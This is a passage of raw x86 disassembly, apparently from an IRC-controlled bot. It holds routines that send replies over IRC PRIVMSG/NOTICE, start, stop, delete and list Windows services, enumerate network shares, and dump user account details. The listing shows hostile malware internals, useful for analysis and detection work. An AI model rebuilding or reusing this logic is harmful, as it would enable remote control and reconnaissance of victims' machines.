2 push 87h call dword_43EB24 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ABF8 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43EACC ; connect cmp eax, edi jz loc_40D41F push ebx push 48h push offset dword_42DA38 push esi call dword_43EB74 ; send cmp eax, edi jz loc_40D41F mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43EB3C ; recv cmp eax, edi jz loc_40D41F cmp [ebp+var_200E], 0Ch jnz short loc_40D41F push ebx push 18h push offset dword_42DA84 push [ebp+arg_4] call dword_43EB74 ; send cmp eax, edi jz short loc_40D41F push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43EB3C ; recv mov esi, eax cmp esi, edi jz short loc_40D41F cmp [ebp+var_200E], 2 jnz short loc_40D41F push 10h push offset loc_42DAA0 lea eax, [ebp+var_2010] push esi push eax call sub_40D28A add esp, 10h test al, al jz short loc_40D3FF cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D41F ; --------------------------------------------------------------------------- loc_40D3FF: ; CODE XREF: sub_40D2C2+12Fj push 10h push offset dword_42DAB4 lea eax, [ebp+var_2010] push esi push eax call sub_40D28A add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D41F: ; CODE XREF: sub_40D2C2+9Bj ; sub_40D2C2+B2j ... push [ebp+arg_4] call dword_43EBBC ; closesocket mov eax, ebx pop ebx jmp loc_40D2DD sub_40D2C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D430 proc near ; CODE XREF: sub_40EAC7+3Dp ; sub_40EC43+1BDp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4190FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43EB74 ; send leave retn sub_40D430 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D476 proc near ; CODE XREF: sub_401000+88p ; sub_401444+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D491 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D491: ; CODE XREF: sub_40D476+14j push edi call sub_4177B0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_4177B0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_3 ; "%s" push esi push eax call sub_41752A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42DAC8 push eax call sub_416FB6 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43EB74 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D50F push 7D0h call dword_423064 ; Sleep locret_40D50F: ; CODE XREF: sub_40D476+8Cj leave retn sub_40D476 endp ; =============== S U B R O U T I N E ======================================= sub_40D511 proc near ; CODE XREF: sub_40EC43:loc_410C05p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D576 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42DAF0[esi] push edi push eax call sub_40D598 add esp, 14h test eax, eax jnz short loc_40D559 push edi push off_42DAEC[esi] mov esi, offset dword_4435E8 push offset dword_42DC1C push esi call sub_416FB6 add esp, 10h jmp short loc_40D593 ; --------------------------------------------------------------------------- loc_40D559: ; CODE XREF: sub_40D511+2Aj push eax call sub_40D63A push eax push edi mov esi, offset dword_4435E8 push offset dword_42DBE4 push esi call sub_416FB6 add esp, 14h jmp short loc_40D593 ; --------------------------------------------------------------------------- loc_40D576: ; CODE XREF: sub_40D511+Cj lea eax, [eax+eax*2] mov esi, offset dword_4435E8 push off_42DAE8[eax*4] push offset dword_42DBB0 push esi call sub_416FB6 add esp, 0Ch loc_40D593: ; CODE XREF: sub_40D511+46j ; sub_40D511+63j mov eax, esi pop edi pop esi retn sub_40D511 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D598 proc near ; CODE XREF: sub_40D511+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43EB18 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_40D5BF call dword_42308C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40D634 ; --------------------------------------------------------------------------- loc_40D5BF: ; CODE XREF: sub_40D598+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43EA0C ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_40D5DF call dword_42308C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40D62C ; --------------------------------------------------------------------------- loc_40D5DF: ; CODE XREF: sub_40D598+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D612 cmp eax, 3 jz short loc_40D603 jle short loc_40D625 cmp eax, 6 jg short loc_40D625 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43EA74 ; ControlService jmp short loc_40D619 ; --------------------------------------------------------------------------- loc_40D603: ; CODE XREF: sub_40D598+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43EA14 ; StartServiceA jmp short loc_40D619 ; --------------------------------------------------------------------------- loc_40D612: ; CODE XREF: sub_40D598+4Dj push esi call dword_43EA78 ; DeleteService loc_40D619: ; CODE XREF: sub_40D598+69j ; sub_40D598+78j test eax, eax jnz short loc_40D625 call dword_42308C ; RtlGetLastWin32Error mov ebx, eax loc_40D625: ; CODE XREF: sub_40D598+54j ; sub_40D598+59j ... push esi call dword_43EA28 ; CloseServiceHandle loc_40D62C: ; CODE XREF: sub_40D598+45j push edi call dword_43EA28 ; CloseServiceHandle pop esi loc_40D634: ; CODE XREF: sub_40D598+25j mov eax, ebx pop edi pop ebx leave retn sub_40D598 endp ; =============== S U B R O U T I N E ======================================= sub_40D63A proc near ; CODE XREF: sub_40D511+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D6EF jz loc_40D6E8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D6B2 jz short loc_40D6A8 mov ecx, eax sub ecx, 3 jz short loc_40D69E dec ecx dec ecx jz short loc_40D694 dec ecx jz short loc_40D68A sub ecx, 51h jz short loc_40D680 sub ecx, 24h jnz loc_40D765 ; default ; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D757 ; --------------------------------------------------------------------------- loc_40D680: ; CODE XREF: sub_40D63A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D757 ; --------------------------------------------------------------------------- loc_40D68A: ; CODE XREF: sub_40D63A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D757 ; --------------------------------------------------------------------------- loc_40D694: ; CODE XREF: sub_40D63A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D757 ; --------------------------------------------------------------------------- loc_40D69E: ; CODE XREF: sub_40D63A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D757 ; --------------------------------------------------------------------------- loc_40D6A8: ; CODE XREF: sub_40D63A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D757 ; --------------------------------------------------------------------------- loc_40D6B2: ; CODE XREF: sub_40D63A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D6E1 dec ecx jz short loc_40D6DA dec ecx jz short loc_40D6D3 dec ecx jnz loc_40D765 ; default ; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D757 ; --------------------------------------------------------------------------- loc_40D6D3: ; CODE XREF: sub_40D63A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D6DA: ; CODE XREF: sub_40D63A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D6E1: ; CODE XREF: sub_40D63A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D6E8: ; CODE XREF: sub_40D63A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D6EF: ; CODE XREF: sub_40D63A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D765 ; default ; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16 jz short loc_40D752 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D765 ; default ; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D7A6[ecx] jmp off_40D77E[ecx*4] ; switch jump loc_40D713: ; DATA XREF: .data:off_40D77Eo push offset aTheSpecifiedDa ; jumptable 0040D70C case 7 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D71A: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheServiceDepe ; jumptable 0040D70C case 17 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D721: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheServiceDe_0 ; jumptable 0040D70C case 10 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D728: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheServiceHasB ; jumptable 0040D70C case 0 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D72F: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheSpecified_0 ; jumptable 0040D70C case 2 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D736: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheServiceCoul ; jumptable 0040D70C case 11 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D73D: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheServiceHa_0 ; jumptable 0040D70C case 14 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D744: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheRequested_1 ; jumptable 0040D70C case 3 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D74B: ; CODE XREF: sub_40D63A+D2j ; DATA XREF: .data:off_40D77Eo push offset aTheServiceHasN ; jumptable 0040D70C case 4 jmp short loc_40D757 ; --------------------------------------------------------------------------- loc_40D752: ; CODE XREF: sub_40D63A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D757: ; CODE XREF: sub_40D63A+41j ; sub_40D63A+4Bj ... push offset dword_442F18 call sub_416FB6 pop ecx pop ecx jmp short loc_40D778 ; --------------------------------------------------------------------------- loc_40D765: ; CODE XREF: sub_40D63A+36j ; sub_40D63A+89j ... push eax ; default ; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_442F18 call sub_416FB6 add esp, 0Ch loc_40D778: ; CODE XREF: sub_40D63A+129j mov eax, offset dword_442F18 retn sub_40D63A endp ; --------------------------------------------------------------------------- off_40D77E dd offset loc_40D728 ; DATA XREF: sub_40D63A+D2r dd offset loc_40D72F ; jump table for switch statement dd offset loc_40D744 dd offset loc_40D74B dd offset loc_40D713 dd offset loc_40D721 dd offset loc_40D736 dd offset loc_40D73D dd offset loc_40D71A dd offset loc_40D765 byte_40D7A6 db 0, 9, 1, 2 ; DATA XREF: sub_40D63A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7B8 proc near ; CODE XREF: sub_40EC43+1FEDp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43EB18 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_40D7F0: ; CODE XREF: sub_40D7B8+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43EAE4 ; EnumServicesStatusA test eax, eax jnz short loc_40D82A call dword_42308C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_40D8E1 loc_40D82A: ; CODE XREF: sub_40D7B8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40D8D8 lea esi, [ebp+var_188] loc_40D83B: ; CODE XREF: sub_40D7B8+11Aj mov eax, [esi+8] dec eax jz short loc_40D887 dec eax jz short loc_40D880 dec eax jz short loc_40D879 dec eax jz short loc_40D872 dec eax jz short loc_40D86B dec eax jz short loc_40D864 dec eax lea eax, [ebp+var_20] jz short loc_40D85D push offset aUnknown_0 ; " Unknown" jmp short loc_40D88F ; --------------------------------------------------------------------------- loc_40D85D: ; CODE XREF: sub_40D7B8+9Cj push offset aPaused_0 ; " Paused" jmp short loc_40D88F ; --------------------------------------------------------------------------- loc_40D864: ; CODE XREF: sub_40D7B8+96j push offset aPausing ; " Pausing" jmp short loc_40D88C ; --------------------------------------------------------------------------- loc_40D86B: ; CODE XREF: sub_40D7B8+93j push offset aContinuing ; " Continuing" jmp short loc_40D88C ; --------------------------------------------------------------------------- loc_40D872: ; CODE XREF: sub_40D7B8+90j push offset aRunning ; " Running" jmp short loc_40D88C ; --------------------------------------------------------------------------- loc_40D879: ; CODE XREF: sub_40D7B8+8Dj push offset aStoping ; " Stoping" jmp short loc_40D88C ; --------------------------------------------------------------------------- loc_40D880: ; CODE XREF: sub_40D7B8+8Aj push offset aStarting ; " Starting" jmp short loc_40D88C ; --------------------------------------------------------------------------- loc_40D887: ; CODE XREF: sub_40D7B8+87j push offset aStopped ; " Stopped" loc_40D88C: ; CODE XREF: sub_40D7B8+B1j ; sub_40D7B8+B8j ... lea eax, [ebp+var_20] loc_40D88F: ; CODE XREF: sub_40D7B8+A3j ; sub_40D7B8+AAj push eax call sub_416FB6 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_416FB6 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40D83B loc_40D8D8: ; CODE XREF: sub_40D7B8+77j cmp [ebp+var_8], ebx jnz loc_40D7F0 loc_40D8E1: ; CODE XREF: sub_40D7B8+6Cj push [ebp+var_C] call dword_43EA28 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D7B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8F8 proc near ; CODE XREF: sub_40EC43:loc_410CF0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40D991 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40D921 dec eax jnz short loc_40D971 push edi push 0 call sub_40DACA pop ecx pop ecx jmp short loc_40D96D ; --------------------------------------------------------------------------- loc_40D921: ; CODE XREF: sub_40D8F8+18j cmp [ebp+arg_8], 0 jnz short loc_40D95F push 24h push edi call sub_418C50 pop ecx test eax, eax pop ecx jnz short loc_40D95F push 57h pop eax loc_40D938: ; CODE XREF: sub_40D8F8+77j push eax call sub_40E298 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4431E0 push off_42DAE8[eax*4] push offset dword_42E1EC push esi call sub_416FB6 add esp, 18h jmp short loc_40D9B1 ; --------------------------------------------------------------------------- loc_40D95F: ; CODE XREF: sub_40D8F8+2Dj ; sub_40D8F8+3Bj push [ebp+arg_8] push edi push 0 call sub_40DA1E add esp, 0Ch loc_40D96D: ; CODE XREF: sub_40D8F8+27j test eax, eax jnz short loc_40D938 loc_40D971: ; CODE XREF: sub_40D8F8+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4431E0 push off_42DAEC[eax*4] push offset dword_42E1C0 push esi call sub_416FB6 add esp, 10h jmp short loc_40D9B1 ; --------------------------------------------------------------------------- loc_40D991: ; CODE XREF: sub_40D8F8+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4431E0 lea eax, [eax+eax*2] push off_42DAE8[eax*4] push offset dword_42E18C push esi call sub_416FB6 add esp, 0Ch loc_40D9B1: ; CODE XREF: sub_40D8F8+65j ; sub_40D8F8+97j mov eax, esi pop edi pop esi pop ebp retn sub_40D8F8 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B7 proc near ; CODE XREF: sub_415CC2+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40D9C4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40D9C4: ; CODE XREF: sub_40D9B7+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_423150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4433E0, 1 mov ebp, eax jnz short loc_40DA01 or byte_4433E0, 1 lea eax, [ebp+1] push eax call sub_4182F5 pop ecx mov dword_443178, eax loc_40DA01: ; CODE XREF: sub_40D9B7+32j push esi push esi push ebp push dword_443178 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_443178 pop edi pop ebp pop ebx pop esi retn sub_40D9B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA1E proc near ; CODE XREF: sub_40D8F8+6Dp ; sub_415FE8+18Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DA89 push [ebp+arg_4] mov edi, eax call sub_40DA89 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418C50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DA89 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43EA24 pop edi leave retn sub_40DA1E endp ; =============== S U B R O U T I N E ======================================= sub_40DA89 proc near ; CODE XREF: sub_40DA1E+Ap ; sub_40DA1E+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DA96 pop ebp retn ; --------------------------------------------------------------------------- loc_40DA96: ; CODE XREF: sub_40DA89+9j push ebx push esi mov esi, dword_423070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_4182F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DA89 endp ; =============== S U B R O U T I N E ======================================= sub_40DACA proc near ; CODE XREF: sub_40D8F8+20p ; sub_415CC2+1BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DA89 push [esp+8+arg_4] mov esi, eax call sub_40DA89 pop ecx pop ecx push 0 push eax push esi call dword_43E9FC pop esi retn sub_40DACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAED proc near ; CODE XREF: sub_40EC43+20D9p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DA89 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 18h loc_40DB26: ; CODE XREF: sub_40DAED+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43EA70 mov ebx, eax cmp ebx, esi jz short loc_40DB89 cmp ebx, 0EAh jz short loc_40DB89 push ebx push ebx call sub_40E298 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42E248 push eax call sub_416FB6 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 24h jmp short loc_40DBF6 ; --------------------------------------------------------------------------- loc_40DB89: ; CODE XREF: sub_40DAED+5Dj ; sub_40DAED+65j xor edi, edi inc edi cmp [ebp+arg_C], edi jb short loc_40DBED mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DB97: ; CODE XREF: sub_40DAED+FCj push dword ptr [esi+10h] call dword_43EA18 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DBAE mov eax, offset aNo ; "No" loc_40DBAE: ; CODE XREF: sub_40DAED+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_416FB6 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DB97 xor esi, esi loc_40DBED: ; CODE XREF: sub_40DAED+A2j push [ebp+var_4] call dword_43EBB4 loc_40DBF6: ; CODE XREF: sub_40DAED+9Aj cmp ebx, 0EAh jz loc_40DB26 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DAED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC0E proc near ; CODE XREF: sub_40EC43:loc_410D8Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DCB2 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DC50 dec eax jz short loc_40DC45 dec eax jnz short loc_40DC6B push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DD54 add esp, 14h jmp short loc_40DC67 ; --------------------------------------------------------------------------- loc_40DC45: ; CODE XREF: sub_40DC0E+1Dj push ebx push edi call sub_40DD33 pop ecx pop ecx jmp short loc_40DC67 ; --------------------------------------------------------------------------- loc_40DC50: ; CODE XREF: sub_40DC0E+1Aj cmp [ebp+arg_8], edi jz short loc_40DC64 push [ebp+arg_8] push ebx push edi call sub_40DCD9 add esp, 0Ch jmp short loc_40DC67 ; --------------------------------------------------------------------------- loc_40DC64: ; CODE XREF: sub_40DC0E+45j push 57h pop eax loc_40DC67: ; CODE XREF: sub_40DC0E+35j ; sub_40DC0E+40j ... cmp eax, edi jnz short loc_40DC8B loc_40DC6B: ; CODE XREF: sub_40DC0E+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4433E8 push off_42DAEC[eax*4] push offset dword_42E32C push esi call sub_416FB6 add esp, 10h jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DC8B: ; CODE XREF: sub_40DC0E+5Bj push eax call sub_40E298 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4433E8 push off_42DAE8[eax*4] push offset dword_42E2F0 push esi call sub_416FB6 add esp, 18h jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCB2: ; CODE XREF: sub_40DC0E+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4433E8 lea eax, [eax+eax*2] push off_42DAE8[eax*4] push offset dword_42E2B8 push esi call sub_416FB6 add esp, 0Ch loc_40DCD2: ; CODE XREF: sub_40DC0E+7Bj ; sub_40DC0E+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DC0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCD9 proc near ; CODE XREF: sub_40DC0E+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DA89 push [ebp+arg_4] mov edi, eax call sub_40DA89 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DA89 add esp, 0Ch and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 lea ecx, [ebp+var_4] mov [ebp+var_20], eax xor eax, eax push ecx lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43EA08 pop edi leave retn sub_40DCD9 endp ; =============== S U B R O U T I N E ======================================= sub_40DD33 proc near ; CODE XREF: sub_40DC0E+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DA89 push [esp+8+arg_4] mov esi, eax call sub_40DA89 pop ecx pop ecx push eax push esi call dword_43E9F8 pop esi retn sub_40DD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD54 proc near ; CODE XREF: sub_40DC0E+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DA89 push [ebp+arg_4] mov esi, eax call sub_40DA89 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43EB7C test eax, eax mov [ebp+arg_0], eax jnz loc_40E0E1 mov eax, [ebp+var_4] test eax, eax jz loc_40E11C push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_416FB6 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_40DE6D dec eax jz short loc_40DE66 dec eax jz short loc_40DE5F mov eax, offset aUnknown ; "Unknown" jmp short loc_40DE72 ; --------------------------------------------------------------------------- loc_40DE5F: ; CODE XREF: sub_40DD54+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40DE72 ; --------------------------------------------------------------------------- 